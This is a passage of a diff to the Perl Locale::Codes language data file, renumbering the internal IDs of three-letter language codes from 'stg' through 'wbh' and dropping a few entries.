       q(stg) => [
-         q(6248),
+         q(6249),
          q(0),
          ],
       q(sth) => [
-         q(6249),
+         q(6250),
          q(0),
          ],
       q(sti) => [
-         q(6250),
+         q(6251),
          q(0),
          ],
       q(stj) => [
-         q(6251),
+         q(6252),
          q(0),
          ],
       q(stk) => [
-         q(6252),
+         q(6253),
          q(0),
          ],
       q(stl) => [
-         q(6253),
+         q(6254),
          q(0),
          ],
       q(stm) => [
-         q(6254),
+         q(6255),
          q(0),
          ],
       q(stn) => [
-         q(6255),
+         q(6256),
          q(0),
          ],
       q(sto) => [
-         q(6256),
+         q(6257),
          q(0),
          ],
       q(stp) => [
-         q(6257),
+         q(6258),
          q(0),
          ],
       q(stq) => [
-         q(6258),
+         q(6259),
          q(0),
          ],
       q(str) => [
-         q(6259),
+         q(6260),
          q(0),
          ],
       q(sts) => [
-         q(6260),
+         q(6261),
          q(0),
          ],
       q(stt) => [
-         q(6261),
+         q(6262),
          q(0),
          ],
       q(stu) => [
-         q(6262),
+         q(6263),
          q(0),
          ],
       q(stv) => [
-         q(6263),
+         q(6264),
          q(0),
          ],
       q(stw) => [
-         q(6264),
+         q(6265),
          q(0),
          ],
       q(sty) => [
-         q(6265),
+         q(6266),
          q(0),
          ],
       q(sua) => [
-         q(6266),
+         q(6267),
          q(0),
          ],
       q(sub) => [
-         q(6267),
+         q(6268),
          q(0),
          ],
       q(suc) => [
-         q(6268),
+         q(6269),
          q(0),
          ],
       q(sue) => [
-         q(6269),
+         q(6270),
          q(0),
          ],
       q(sug) => [
-         q(6270),
+         q(6271),
          q(0),
          ],
       q(sui) => [
-         q(6271),
+         q(6272),
          q(0),
          ],
       q(suj) => [
-         q(6272),
+         q(6273),
          q(0),
          ],
       q(suk) => [
-         q(0409),
+         q(0408),
          q(0),
          ],
       q(sun) => [
-         q(0410),
+         q(0409),
          q(0),
          ],
       q(suq) => [
-         q(6273),
+         q(6274),
          q(0),
          ],
       q(sur) => [
-         q(6274),
+         q(6275),
          q(0),
          ],
       q(sus) => [
-         q(0411),
+         q(0410),
          q(0),
          ],
       q(sut) => [
-         q(6275),
+         q(6276),
          q(0),
          ],
       q(suv) => [
-         q(6276),
+         q(6277),
          q(0),
          ],
       q(suw) => [
-         q(6277),
+         q(6278),
          q(0),
          ],
       q(sux) => [
-         q(0412),
+         q(0411),
          q(0),
          ],
       q(suy) => [
-         q(6278),
+         q(6279),
          q(0),
          ],
       q(suz) => [
-         q(6279),
+         q(6280),
          q(0),
          ],
       q(sva) => [
-         q(6280),
+         q(6281),
          q(0),
          ],
       q(svb) => [
-         q(6281),
+         q(6282),
          q(0),
          ],
       q(svc) => [
-         q(6282),
+         q(6283),
          q(0),
          ],
       q(sve) => [
-         q(6283),
+         q(6284),
          q(0),
          ],
       q(svk) => [
-         q(6284),
+         q(6285),
          q(0),
          ],
       q(svm) => [
-         q(6285),
+         q(6286),
          q(0),
          ],
       q(svs) => [
-         q(6286),
+         q(6287),
          q(0),
          ],
       q(svx) => [
-         q(6287),
+         q(6288),
          q(0),
          ],
       q(swa) => [
-         q(0413),
+         q(0412),
          q(0),
          ],
       q(swb) => [
-         q(6288),
+         q(6289),
          q(0),
          ],
       q(swc) => [
-         q(6289),
+         q(6290),
          q(0),
          ],
       q(swe) => [
-         q(0414),
+         q(0413),
          q(0),
          ],
       q(swf) => [
-         q(6290),
+         q(6291),
          q(0),
          ],
       q(swg) => [
-         q(6291),
+         q(6292),
          q(0),
          ],
       q(swh) => [
-         q(6292),
+         q(6293),
          q(0),
          ],
       q(swi) => [
-         q(6293),
+         q(6294),
          q(0),
          ],
       q(swj) => [
-         q(6294),
+         q(6295),
          q(0),
          ],
       q(swk) => [
-         q(6295),
+         q(6296),
          q(0),
          ],
       q(swl) => [
-         q(6296),
+         q(6297),
          q(0),
          ],
       q(swm) => [
-         q(6297),
+         q(6298),
          q(0),
          ],
       q(swn) => [
-         q(6298),
+         q(6299),
          q(0),
          ],
       q(swo) => [
-         q(6299),
+         q(6300),
          q(0),
          ],
       q(swp) => [
-         q(6300),
+         q(6301),
          q(0),
          ],
       q(swq) => [
-         q(6301),
+         q(6302),
          q(0),
          ],
       q(swr) => [
-         q(6302),
+         q(6303),
          q(0),
          ],
       q(sws) => [
-         q(6303),
+         q(6304),
          q(0),
          ],
       q(swt) => [
-         q(6304),
+         q(6305),
          q(0),
          ],
       q(swu) => [
-         q(6305),
+         q(6306),
          q(0),
          ],
       q(swv) => [
-         q(6306),
+         q(6307),
          q(0),
          ],
       q(sww) => [
-         q(6307),
+         q(6308),
          q(0),
          ],
       q(swx) => [
-         q(6308),
+         q(6309),
          q(0),
          ],
       q(swy) => [
-         q(6309),
+         q(6310),
          q(0),
          ],
       q(sxb) => [
-         q(6310),
+         q(6311),
          q(0),
          ],
       q(sxc) => [
-         q(6311),
+         q(6312),
          q(0),
          ],
       q(sxe) => [
-         q(6312),
+         q(6313),
          q(0),
          ],
       q(sxg) => [
-         q(6313),
+         q(6314),
          q(0),
          ],
       q(sxk) => [
-         q(6314),
+         q(6315),
          q(0),
          ],
       q(sxl) => [
-         q(6315),
+         q(6316),
          q(0),
          ],
       q(sxm) => [
-         q(6316),
+         q(6317),
          q(0),
          ],
       q(sxn) => [
-         q(6317),
+         q(6318),
          q(0),
          ],
       q(sxo) => [
-         q(6318),
+         q(6319),
          q(0),
          ],
       q(sxr) => [
-         q(6319),
+         q(6320),
          q(0),
          ],
       q(sxs) => [
-         q(6320),
+         q(6321),
          q(0),
          ],
       q(sxu) => [
-         q(6321),
+         q(6322),
          q(0),
          ],
       q(sxw) => [
-         q(6322),
+         q(6323),
          q(0),
          ],
       q(sya) => [
-         q(6323),
+         q(6324),
          q(0),
          ],
       q(syb) => [
-         q(6324),
+         q(6325),
          q(0),
          ],
       q(syc) => [
-         q(0415),
+         q(0414),
          q(0),
          ],
       q(syd) => [
-         q(0527),
+         q(0526),
          q(0),
          ],
       q(syi) => [
-         q(6325),
+         q(6326),
          q(0),
          ],
       q(syk) => [
-         q(6326),
+         q(6327),
          q(0),
          ],
       q(syl) => [
-         q(6327),
+         q(6328),
          q(0),
          ],
       q(sym) => [
-         q(6328),
+         q(6329),
          q(0),
          ],
       q(syn) => [
-         q(6329),
+         q(6330),
          q(0),
          ],
       q(syo) => [
-         q(6330),
+         q(6331),
          q(0),
          ],
       q(syr) => [
-         q(0416),
+         q(0415),
          q(0),
          ],
       q(sys) => [
-         q(6331),
-         q(0),
-         ],
-      q(syw) => [
          q(6332),
          q(0),
          ],
-      q(syx) => [
+      q(syw) => [
          q(6333),
          q(0),
          ],
-      q(syy) => [
+      q(syx) => [
          q(6334),
          q(0),
          ],
-      q(sza) => [
+      q(syy) => [
          q(6335),
          q(0),
          ],
-      q(szb) => [
+      q(sza) => [
          q(6336),
          q(0),
          ],
-      q(szc) => [
+      q(szb) => [
          q(6337),
          q(0),
          ],
-      q(szd) => [
+      q(szc) => [
          q(6338),
          q(0),
          ],
-      q(sze) => [
+      q(szd) => [
          q(6339),
          q(0),
          ],
-      q(szg) => [
+      q(sze) => [
          q(6340),
          q(0),
          ],
-      q(szl) => [
+      q(szg) => [
          q(6341),
          q(0),
          ],
-      q(szn) => [
+      q(szl) => [
          q(6342),
          q(0),
          ],
-      q(szp) => [
+      q(szn) => [
          q(6343),
          q(0),
          ],
-      q(szs) => [
+      q(szp) => [
          q(6344),
          q(0),
          ],
@@ -83401,11 +83335,11 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(0),
          ],
       q(tah) => [
-         q(0417),
+         q(0416),
          q(0),
          ],
       q(tai) => [
-         q(0418),
+         q(0417),
          q(0),
          ],
       q(taj) => [
@@ -83421,7 +83355,7 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(0),
          ],
       q(tam) => [
-         q(0419),
+         q(0418),
          q(0),
          ],
       q(tan) => [
@@ -83449,7 +83383,7 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(0),
          ],
       q(tat) => [
-         q(0420),
+         q(0419),
          q(0),
          ],
       q(tau) => [
@@ -83541,7 +83475,7 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(0),
          ],
       q(tbq) => [
-         q(0528),
+         q(0527),
          q(0),
          ],
       q(tbr) => [
@@ -83801,11 +83735,11 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(0),
          ],
       q(tel) => [
-         q(0421),
+         q(0420),
          q(0),
          ],
       q(tem) => [
-         q(0422),
+         q(0421),
          q(0),
          ],
       q(ten) => [
@@ -83825,7 +83759,7 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(0),
          ],
       q(ter) => [
-         q(0423),
+         q(0422),
          q(0),
          ],
       q(tes) => [
@@ -83833,7 +83767,7 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(0),
          ],
       q(tet) => [
-         q(0424),
+         q(0423),
          q(0),
          ],
       q(teu) => [
@@ -83913,11 +83847,11 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(0),
          ],
       q(tgk) => [
-         q(0425),
+         q(0424),
          q(0),
          ],
       q(tgl) => [
-         q(0426),
+         q(0425),
          q(0),
          ],
       q(tgn) => [
@@ -83973,7 +83907,7 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(0),
          ],
       q(tha) => [
-         q(0427),
+         q(0426),
          q(0),
          ],
       q(thd) => [
@@ -84057,7 +83991,7 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(0),
          ],
       q(tib) => [
-         q(0428),
+         q(0427),
          q(0),
          ],
       q(tic) => [
@@ -84069,7 +84003,7 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(0),
          ],
       q(tig) => [
-         q(0429),
+         q(0428),
          q(0),
          ],
       q(tih) => [
@@ -84113,7 +84047,7 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(0),
          ],
       q(tir) => [
-         q(0430),
+         q(0429),
          q(0),
          ],
       q(tis) => [
@@ -84129,7 +84063,7 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(0),
          ],
       q(tiv) => [
-         q(0431),
+         q(0430),
          q(0),
          ],
       q(tiw) => [
@@ -84213,7 +84147,7 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(0),
          ],
       q(tkl) => [
-         q(0432),
+         q(0431),
          q(0),
          ],
       q(tkm) => [
@@ -84289,11 +84223,11 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(0),
          ],
       q(tlh) => [
-         q(0433),
+         q(0432),
          q(0),
          ],
       q(tli) => [
-         q(0434),
+         q(0433),
          q(0),
          ],
       q(tlj) => [
@@ -84385,7 +84319,7 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(0),
          ],
       q(tmh) => [
-         q(0435),
+         q(0434),
          q(0),
          ],
       q(tmi) => [
@@ -84561,7 +84495,7 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(0),
          ],
       q(tog) => [
-         q(0436),
+         q(0435),
          q(0),
          ],
       q(toh) => [
@@ -84585,7 +84519,7 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(0),
          ],
       q(ton) => [
-         q(0437),
+         q(0436),
          q(0),
          ],
       q(too) => [
@@ -84653,7 +84587,7 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(0),
          ],
       q(tpi) => [
-         q(0438),
+         q(0437),
          q(0),
          ],
       q(tpj) => [
@@ -84805,7 +84739,7 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(0),
          ],
       q(trk) => [
-         q(0529),
+         q(0528),
          q(0),
          ],
       q(trl) => [
@@ -84897,7 +84831,7 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(0),
          ],
       q(tsi) => [
-         q(0439),
+         q(0438),
          q(0),
          ],
       q(tsj) => [
@@ -84917,11 +84851,11 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(0),
          ],
       q(tsn) => [
-         q(0440),
+         q(0439),
          q(0),
          ],
       q(tso) => [
-         q(0441),
+         q(0440),
          q(0),
          ],
       q(tsp) => [
@@ -85109,7 +85043,7 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(0),
          ],
       q(tuk) => [
-         q(0442),
+         q(0441),
          q(0),
          ],
       q(tul) => [
@@ -85117,7 +85051,7 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(0),
          ],
       q(tum) => [
-         q(0443),
+         q(0442),
          q(0),
          ],
       q(tun) => [
@@ -85129,7 +85063,7 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(0),
          ],
       q(tup) => [
-         q(0444),
+         q(0443),
          q(0),
          ],
       q(tuq) => [
@@ -85137,7 +85071,7 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(0),
          ],
       q(tur) => [
-         q(0445),
+         q(0444),
          q(0),
          ],
       q(tus) => [
@@ -85145,7 +85079,7 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(0),
          ],
       q(tut) => [
-         q(0446),
+         q(0445),
          q(0),
          ],
       q(tuu) => [
@@ -85157,7 +85091,7 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(0),
          ],
       q(tuw) => [
-         q(0530),
+         q(0529),
          q(0),
          ],
       q(tux) => [
@@ -85189,7 +85123,7 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(0),
          ],
       q(tvl) => [
-         q(0447),
+         q(0446),
          q(0),
          ],
       q(tvm) => [
@@ -85257,7 +85191,7 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(0),
          ],
       q(twi) => [
-         q(0448),
+         q(0447),
          q(0),
          ],
       q(twl) => [
@@ -85429,7 +85363,7 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(0),
          ],
       q(tyv) => [
-         q(0449),
+         q(0448),
          q(0),
          ],
       q(tyx) => [
@@ -85533,7 +85467,7 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(0),
          ],
       q(udm) => [
-         q(0450),
+         q(0449),
          q(0),
          ],
       q(udu) => [
@@ -85549,7 +85483,7 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(0),
          ],
       q(uga) => [
-         q(0451),
+         q(0450),
          q(0),
          ],
       q(ugb) => [
@@ -85581,7 +85515,7 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(0),
          ],
       q(uig) => [
-         q(0452),
+         q(0451),
          q(0),
          ],
       q(uis) => [
@@ -85608,864 +85542,860 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(6866),
          q(0),
          ],
-      q(ukk) => [
-         q(6867),
-         q(0),
-         ],
       q(ukl) => [
-         q(6868),
+         q(6867),
          q(0),
          ],
       q(ukp) => [
-         q(6869),
+         q(6868),
          q(0),
          ],
       q(ukq) => [
-         q(6870),
+         q(6869),
          q(0),
          ],
       q(ukr) => [
-         q(0453),
+         q(0452),
          q(0),
          ],
       q(uks) => [
-         q(6871),
+         q(6870),
          q(0),
          ],
       q(uku) => [
-         q(6872),
+         q(6871),
          q(0),
          ],
       q(ukw) => [
-         q(6873),
+         q(6872),
          q(0),
          ],
       q(uky) => [
-         q(6874),
+         q(6873),
          q(0),
          ],
       q(ula) => [
-         q(6875),
+         q(6874),
          q(0),
          ],
       q(ulb) => [
-         q(6876),
+         q(6875),
          q(0),
          ],
       q(ulc) => [
-         q(6877),
+         q(6876),
          q(0),
          ],
       q(ule) => [
-         q(6878),
+         q(6877),
          q(0),
          ],
       q(ulf) => [
-         q(6879),
+         q(6878),
          q(0),
          ],
       q(uli) => [
-         q(6880),
+         q(6879),
          q(0),
          ],
       q(ulk) => [
-         q(6881),
+         q(6880),
          q(0),
          ],
       q(ull) => [
-         q(6882),
+         q(6881),
          q(0),
          ],
       q(ulm) => [
-         q(6883),
+         q(6882),
          q(0),
          ],
       q(uln) => [
-         q(6884),
+         q(6883),
          q(0),
          ],
       q(ulu) => [
-         q(6885),
+         q(6884),
          q(0),
          ],
       q(ulw) => [
-         q(6886),
+         q(6885),
          q(0),
          ],
       q(uma) => [
-         q(6887),
+         q(6886),
          q(0),
          ],
       q(umb) => [
-         q(0454),
+         q(0453),
          q(0),
          ],
       q(umc) => [
-         q(6888),
+         q(6887),
          q(0),
          ],
       q(umd) => [
-         q(6889),
+         q(6888),
          q(0),
          ],
       q(umg) => [
-         q(6890),
+         q(6889),
          q(0),
          ],
       q(umi) => [
-         q(6891),
+         q(6890),
          q(0),
          ],
       q(umm) => [
-         q(6892),
+         q(6891),
          q(0),
          ],
       q(umn) => [
-         q(6893),
+         q(6892),
          q(0),
          ],
       q(umo) => [
-         q(6894),
+         q(6893),
          q(0),
          ],
       q(ump) => [
-         q(6895),
+         q(6894),
          q(0),
          ],
       q(umr) => [
-         q(6896),
+         q(6895),
          q(0),
          ],
       q(ums) => [
-         q(6897),
+         q(6896),
          q(0),
          ],
       q(umu) => [
-         q(6898),
+         q(6897),
          q(0),
          ],
       q(una) => [
-         q(6899),
+         q(6898),
          q(0),
          ],
       q(und) => [
-         q(0455),
+         q(0454),
          q(0),
          ],
       q(une) => [
-         q(6900),
+         q(6899),
          q(0),
          ],
       q(ung) => [
-         q(6901),
+         q(6900),
          q(0),
          ],
       q(unk) => [
-         q(6902),
+         q(6901),
          q(0),
          ],
       q(unm) => [
-         q(6903),
+         q(6902),
          q(0),
          ],
       q(unn) => [
-         q(6904),
+         q(6903),
          q(0),
          ],
       q(unr) => [
-         q(6905),
+         q(6904),
          q(0),
          ],
       q(unu) => [
-         q(6906),
+         q(6905),
          q(0),
          ],
       q(unx) => [
-         q(6907),
+         q(6906),
          q(0),
          ],
       q(unz) => [
-         q(6908),
+         q(6907),
          q(0),
          ],
       q(upi) => [
-         q(6909),
+         q(6908),
          q(0),
          ],
       q(upv) => [
-         q(6910),
+         q(6909),
          q(0),
          ],
       q(ura) => [
-         q(6911),
+         q(6910),
          q(0),
          ],
       q(urb) => [
-         q(6912),
+         q(6911),
          q(0),
          ],
       q(urc) => [
-         q(6913),
+         q(6912),
          q(0),
          ],
       q(urd) => [
-         q(0456),
+         q(0455),
          q(0),
          ],
       q(ure) => [
-         q(6914),
+         q(6913),
          q(0),
          ],
       q(urf) => [
-         q(6915),
+         q(6914),
          q(0),
          ],
       q(urg) => [
-         q(6916),
+         q(6915),
          q(0),
          ],
       q(urh) => [
-         q(6917),
+         q(6916),
          q(0),
          ],
       q(uri) => [
-         q(6918),
+         q(6917),
          q(0),
          ],
       q(urj) => [
-         q(0531),
+         q(0530),
          q(0),
          ],
       q(urk) => [
-         q(6919),
+         q(6918),
          q(0),
          ],
       q(url) => [
-         q(6920),
+         q(6919),
          q(0),
          ],
       q(urm) => [
-         q(6921),
+         q(6920),
          q(0),
          ],
       q(urn) => [
-         q(6922),
+         q(6921),
          q(0),
          ],
       q(uro) => [
-         q(6923),
+         q(6922),
          q(0),
          ],
       q(urp) => [
-         q(6924),
+         q(6923),
          q(0),
          ],
       q(urr) => [
-         q(6925),
+         q(6924),
          q(0),
          ],
       q(urt) => [
-         q(6926),
+         q(6925),
          q(0),
          ],
       q(uru) => [
-         q(6927),
+         q(6926),
          q(0),
          ],
       q(urv) => [
-         q(6928),
+         q(6927),
          q(0),
          ],
       q(urw) => [
-         q(6929),
+         q(6928),
          q(0),
          ],
       q(urx) => [
-         q(6930),
+         q(6929),
          q(0),
          ],
       q(ury) => [
-         q(6931),
+         q(6930),
          q(0),
          ],
       q(urz) => [
-         q(6932),
+         q(6931),
          q(0),
          ],
       q(usa) => [
-         q(6933),
+         q(6932),
          q(0),
          ],
       q(ush) => [
-         q(6934),
+         q(6933),
          q(0),
          ],
       q(usi) => [
-         q(6935),
+         q(6934),
          q(0),
          ],
       q(usk) => [
-         q(6936),
+         q(6935),
          q(0),
          ],
       q(usp) => [
-         q(6937),
+         q(6936),
          q(0),
          ],
       q(usu) => [
-         q(6938),
+         q(6937),
          q(0),
          ],
       q(uta) => [
-         q(6939),
+         q(6938),
          q(0),
          ],
       q(ute) => [
-         q(6940),
+         q(6939),
          q(0),
          ],
       q(utp) => [
-         q(6941),
+         q(6940),
          q(0),
          ],
       q(utr) => [
-         q(6942),
+         q(6941),
          q(0),
          ],
       q(utu) => [
-         q(6943),
+         q(6942),
          q(0),
          ],
       q(uum) => [
-         q(6944),
+         q(6943),
          q(0),
          ],
       q(uun) => [
-         q(6945),
+         q(6944),
          q(0),
          ],
       q(uur) => [
-         q(6946),
+         q(6945),
          q(0),
          ],
       q(uuu) => [
-         q(6947),
+         q(6946),
          q(0),
          ],
       q(uve) => [
-         q(6948),
+         q(6947),
          q(0),
          ],
       q(uvh) => [
-         q(6949),
+         q(6948),
          q(0),
          ],
       q(uvl) => [
-         q(6950),
+         q(6949),
          q(0),
          ],
       q(uwa) => [
-         q(6951),
+         q(6950),
          q(0),
          ],
       q(uya) => [
-         q(6952),
+         q(6951),
          q(0),
          ],
       q(uzb) => [
-         q(0457),
+         q(0456),
          q(0),
          ],
       q(uzn) => [
-         q(6953),
+         q(6952),
          q(0),
          ],
       q(uzs) => [
-         q(6954),
+         q(6953),
          q(0),
          ],
       q(vaa) => [
-         q(6955),
+         q(6954),
          q(0),
          ],
       q(vae) => [
-         q(6956),
+         q(6955),
          q(0),
          ],
       q(vaf) => [
-         q(6957),
+         q(6956),
          q(0),
          ],
       q(vag) => [
-         q(6958),
+         q(6957),
          q(0),
          ],
       q(vah) => [
-         q(6959),
+         q(6958),
          q(0),
          ],
       q(vai) => [
-         q(0458),
+         q(0457),
          q(0),
          ],
       q(vaj) => [
-         q(6960),
+         q(6959),
          q(0),
          ],
       q(val) => [
-         q(6961),
+         q(6960),
          q(0),
          ],
       q(vam) => [
-         q(6962),
+         q(6961),
          q(0),
          ],
       q(van) => [
-         q(6963),
+         q(6962),
          q(0),
          ],
       q(vao) => [
-         q(6964),
+         q(6963),
          q(0),
          ],
       q(vap) => [
-         q(6965),
+         q(6964),
          q(0),
          ],
       q(var) => [
-         q(6966),
+         q(6965),
          q(0),
          ],
       q(vas) => [
-         q(6967),
+         q(6966),
          q(0),
          ],
       q(vau) => [
-         q(6968),
+         q(6967),
          q(0),
          ],
       q(vav) => [
-         q(6969),
+         q(6968),
          q(0),
          ],
       q(vay) => [
-         q(6970),
+         q(6969),
          q(0),
          ],
       q(vbb) => [
-         q(6971),
+         q(6970),
          q(0),
          ],
       q(vbk) => [
-         q(6972),
+         q(6971),
          q(0),
          ],
       q(vec) => [
-         q(6973),
+         q(6972),
          q(0),
          ],
       q(ved) => [
-         q(6974),
+         q(6973),
          q(0),
          ],
       q(vel) => [
-         q(6975),
+         q(6974),
          q(0),
          ],
       q(vem) => [
-         q(6976),
+         q(6975),
          q(0),
          ],
       q(ven) => [
-         q(0459),
+         q(0458),
          q(0),
          ],
       q(veo) => [
-         q(6977),
+         q(6976),
          q(0),
          ],
       q(vep) => [
-         q(6978),
+         q(6977),
          q(0),
          ],
       q(ver) => [
-         q(6979),
+         q(6978),
          q(0),
          ],
       q(vgr) => [
-         q(6980),
+         q(6979),
          q(0),
          ],
       q(vgt) => [
-         q(6981),
+         q(6980),
          q(0),
          ],
       q(vic) => [
-         q(6982),
+         q(6981),
          q(0),
          ],
       q(vid) => [
-         q(6983),
+         q(6982),
          q(0),
          ],
       q(vie) => [
-         q(0460),
+         q(0459),
          q(0),
          ],
       q(vif) => [
-         q(6984),
+         q(6983),
          q(0),
          ],
       q(vig) => [
-         q(6985),
+         q(6984),
          q(0),
          ],
       q(vil) => [
-         q(6986),
+         q(6985),
          q(0),
          ],
       q(vin) => [
-         q(6987),
+         q(6986),
          q(0),
          ],
       q(vis) => [
-         q(6988),
+         q(6987),
          q(0),
          ],
       q(vit) => [
-         q(6989),
+         q(6988),
          q(0),
          ],
       q(viv) => [
-         q(6990),
+         q(6989),
          q(0),
          ],
       q(vka) => [
-         q(6991),
+         q(6990),
          q(0),
          ],
       q(vki) => [
-         q(6992),
+         q(6991),
          q(0),
          ],
       q(vkj) => [
-         q(6993),
+         q(6992),
          q(0),
          ],
       q(vkk) => [
-         q(6994),
+         q(6993),
          q(0),
          ],
       q(vkl) => [
-         q(6995),
+         q(6994),
          q(0),
          ],
       q(vkm) => [
-         q(6996),
+         q(6995),
          q(0),
          ],
       q(vko) => [
-         q(6997),
+         q(6996),
          q(0),
          ],
       q(vkp) => [
-         q(6998),
+         q(6997),
          q(0),
          ],
       q(vkt) => [
-         q(6999),
+         q(6998),
          q(0),
          ],
       q(vku) => [
-         q(7000),
+         q(6999),
          q(0),
          ],
       q(vlp) => [
-         q(7001),
+         q(7000),
          q(0),
          ],
       q(vls) => [
-         q(7002),
+         q(7001),
          q(0),
          ],
       q(vma) => [
-         q(7003),
+         q(7002),
          q(0),
          ],
       q(vmb) => [
-         q(7004),
+         q(7003),
          q(0),
          ],
       q(vmc) => [
-         q(7005),
+         q(7004),
          q(0),
          ],
       q(vmd) => [
-         q(7006),
+         q(7005),
          q(0),
          ],
       q(vme) => [
-         q(7007),
+         q(7006),
          q(0),
          ],
       q(vmf) => [
-         q(7008),
+         q(7007),
          q(0),
          ],
       q(vmg) => [
-         q(7009),
+         q(7008),
          q(0),
          ],
       q(vmh) => [
-         q(7010),
+         q(7009),
          q(0),
          ],
       q(vmi) => [
-         q(7011),
+         q(7010),
          q(0),
          ],
       q(vmj) => [
-         q(7012),
+         q(7011),
          q(0),
          ],
       q(vmk) => [
-         q(7013),
+         q(7012),
          q(0),
          ],
       q(vml) => [
-         q(7014),
+         q(7013),
          q(0),
          ],
       q(vmm) => [
-         q(7015),
+         q(7014),
          q(0),
          ],
       q(vmp) => [
-         q(7016),
+         q(7015),
          q(0),
          ],
       q(vmq) => [
-         q(7017),
+         q(7016),
          q(0),
          ],
       q(vmr) => [
-         q(7018),
+         q(7017),
          q(0),
          ],
       q(vms) => [
-         q(7019),
+         q(7018),
          q(0),
          ],
       q(vmu) => [
-         q(7020),
+         q(7019),
          q(0),
          ],
       q(vmv) => [
-         q(7021),
+         q(7020),
          q(0),
          ],
       q(vmw) => [
-         q(7022),
+         q(7021),
          q(0),
          ],
       q(vmx) => [
-         q(7023),
+         q(7022),
          q(0),
          ],
       q(vmy) => [
-         q(7024),
+         q(7023),
          q(0),
          ],
       q(vmz) => [
-         q(7025),
+         q(7024),
          q(0),
          ],
       q(vnk) => [
-         q(7026),
+         q(7025),
          q(0),
          ],
       q(vnm) => [
-         q(7027),
+         q(7026),
          q(0),
          ],
       q(vnp) => [
-         q(7028),
+         q(7027),
          q(0),
          ],
       q(vol) => [
-         q(0461),
+         q(0460),
          q(0),
          ],
       q(vor) => [
-         q(7029),
+         q(7028),
          q(0),
          ],
       q(vot) => [
-         q(0462),
+         q(0461),
          q(0),
          ],
       q(vra) => [
-         q(7030),
+         q(7029),
          q(0),
          ],
       q(vro) => [
-         q(7029),
+         q(7028),
          q(0),
          ],
       q(vrs) => [
-         q(7031),
+         q(7030),
          q(0),
          ],
       q(vrt) => [
-         q(7032),
+         q(7031),
          q(0),
          ],
       q(vsi) => [
-         q(7033),
+         q(7032),
          q(0),
          ],
       q(vsl) => [
-         q(7034),
+         q(7033),
          q(0),
          ],
       q(vsv) => [
-         q(7035),
+         q(7034),
          q(0),
          ],
       q(vto) => [
-         q(7036),
+         q(7035),
          q(0),
          ],
       q(vum) => [
-         q(7037),
+         q(7036),
          q(0),
          ],
       q(vun) => [
-         q(7038),
+         q(7037),
          q(0),
          ],
       q(vut) => [
-         q(7039),
+         q(7038),
          q(0),
          ],
       q(vwa) => [
-         q(7040),
+         q(7039),
          q(0),
          ],
       q(waa) => [
-         q(7041),
+         q(7040),
          q(0),
          ],
       q(wab) => [
-         q(7042),
+         q(7041),
          q(0),
          ],
       q(wac) => [
-         q(7043),
+         q(7042),
          q(0),
          ],
       q(wad) => [
-         q(7044),
+         q(7043),
          q(0),
          ],
       q(wae) => [
-         q(7045),
+         q(7044),
          q(0),
          ],
       q(waf) => [
-         q(7046),
+         q(7045),
          q(0),
          ],
       q(wag) => [
-         q(7047),
+         q(7046),
          q(0),
          ],
       q(wah) => [
-         q(7048),
+         q(7047),
          q(0),
          ],
       q(wai) => [
-         q(7049),
+         q(7048),
          q(0),
          ],
       q(waj) => [
-         q(7050),
+         q(7049),
          q(0),
          ],
       q(wak) => [
-         q(0463),
+         q(0462),
          q(0),
          ],
       q(wal) => [
-         q(0464),
+         q(0463),
          q(1),
          ],
       q(wam) => [
-         q(7051),
+         q(7050),
          q(0),
          ],
       q(wan) => [
-         q(7052),
+         q(7051),
          q(0),
          ],
       q(wao) => [
-         q(7053),
+         q(7052),
          q(0),
          ],
       q(wap) => [
-         q(7054),
+         q(7053),
          q(0),
          ],
       q(waq) => [
-         q(7055),
+         q(7054),
          q(0),
          ],
       q(war) => [
-         q(0465),
+         q(0464),
          q(1),
          ],
       q(was) => [
-         q(0466),
+         q(0465),
          q(0),
          ],
       q(wat) => [
-         q(7056),
+         q(7055),
          q(0),
          ],
       q(wau) => [
-         q(7057),
+         q(7056),
          q(0),
          ],
       q(wav) => [
-         q(7058),
+         q(7057),
          q(0),
          ],
       q(waw) => [
-         q(7059),
+         q(7058),
          q(0),
          ],
       q(wax) => [
-         q(7060),
+         q(7059),
          q(0),
          ],
       q(way) => [
-         q(7061),
+         q(7060),
          q(0),
          ],
       q(waz) => [
-         q(7062),
+         q(7061),
          q(0),
          ],
       q(wba) => [
-         q(7063),
+         q(7062),
          q(0),
          ],
       q(wbb) => [
-         q(7064),
+         q(7063),
          q(0),
          ],
       q(wbe) => [
-         q(7065),
+         q(7064),
          q(0),
          ],
       q(wbf) => [
@@ -86473,3695 +86403,3687 @@ $Locale::Codes::Data{'language'}{'code2id'} = {
          q(0),
          ],
       q(wbh) => [
-         q(7066),
+         q(7065),
          q(0),
